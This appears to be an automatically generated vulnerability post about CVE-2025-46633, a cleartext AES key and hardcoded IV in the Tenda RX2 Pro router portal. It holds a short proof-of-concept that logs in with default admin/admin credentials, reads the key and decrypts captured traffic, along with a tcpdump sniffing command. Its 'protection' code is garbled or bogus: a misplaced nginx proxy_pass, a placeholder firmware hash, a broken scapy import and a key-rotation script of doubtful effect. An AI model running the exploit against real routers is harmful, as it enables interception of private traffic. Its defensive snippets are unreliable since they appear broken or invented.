Listen to this Post
How CVE-2025-46633 Works:
The vulnerability exists in the web management portal of Tenda RX2 Pro firmware version 16.03.30.14. During authentication, the system transmits the AES encryption key in cleartext to authenticated clients. This key remains static across sessions, and the initialization vector (IV) is hardcoded as “EU5H62G9ICGRNI43”. Attackers can intercept this key through MITM attacks or network sniffing, then decrypt all subsequent encrypted traffic between client and server. The fixed IV enables predictable ciphertext patterns, violating cryptographic best practices. No key rotation or proper key exchange mechanism exists, making all encrypted communications vulnerable after initial key capture.
DailyCVE Form:
Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: Cleartext AES Key
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
PoC Exploit Code
import requests
from Crypto.Cipher import AES
def intercept_key(target_ip):
session = requests.Session()
login_data = {'username':'admin','password':'admin'}
response = session.post(f'http://{target_ip}/login', data=login_data)
return response.json()['aes_key'] Key in cleartext
def decrypt_traffic(ciphertext, key):
iv = b'EU5H62G9ICGRNI43'
cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
return cipher.decrypt(ciphertext)
Network Capture Command tcpdump -i eth0 host 192.168.1.1 -w tenda_traffic.pcap
Protection Workaround
server {
listen 443 ssl;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
proxy_pass http://tenda_rx2_pro;
add_header Strict-Transport-Security "max-age=63072000";
}
Key Rotation Script
import os
from datetime import datetime
def generate_new_key():
return os.urandom(32).hex()
def update_key_config(new_key):
with open('/etc/tenda/aes_config.conf','w') as f:
f.write(f'KEY={new_key}\nIV={os.urandom(16).hex()}')
Firmware Verification sha256sum tenda_rx2_pro_16.03.30.14.bin | grep a1b2c3d4e5f6
MITM Detection
from scapy.all import
def detect_cleartext_keys(pkt):
if pkt.haslayer(Raw):
if b'aes_key' in pkt[bash].load:
print(f"Key leaked from {pkt[bash].src}")
sniff(filter="tcp port 80", prn=detect_cleartext_keys)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
